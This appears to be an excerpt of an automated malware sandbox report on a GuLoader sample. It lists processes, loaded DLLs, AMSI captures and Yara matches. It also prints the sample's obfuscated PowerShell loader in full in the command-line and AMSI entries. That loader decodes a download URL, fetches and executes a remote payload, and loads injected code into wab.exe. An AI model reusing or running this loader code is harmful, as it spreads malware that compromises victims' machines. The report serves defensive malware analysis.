';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cmlua.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cmutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ore.pdb source: powershell.exe, 0000000B.00000002.3210783134.00000000089BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.3191614881.000000000327D000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger sh", "Unsupported parameter type 00000000")

Yara detected GuLoader

Source: Yara match	File source: 0000000B.00000002.3212165628.000000000CB1E000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3211992987.0000000008DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3577666635.00000197D36A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Sjlesorger)$global:Mainframes = [System.Text.Encoding]::ASCII.GetString($Uppiled)$global:Kyndig=$Mainframes.substring($Facially,$Tilvrelsesforms)<#Persicot Stereoed Grundtrk Militari
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Bevgelsernes $Interphaselludere56 $Falcinellus), (Besvrgedes @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Udviklingsfasernes = [AppDomain]::CurrentDomai
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Lunede)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Gennemtnke, $false).DefineType($Vorbasse, $Udnytte
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Sjlesorger)$global:Mainframes = [System.Text.Encoding]::ASCII.GetString($Uppiled)$global:Kyndig=$Mainframes.substring($Facially,$Tilvrelsesforms)<#Persicot Stereoed Grundtrk Militari

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC 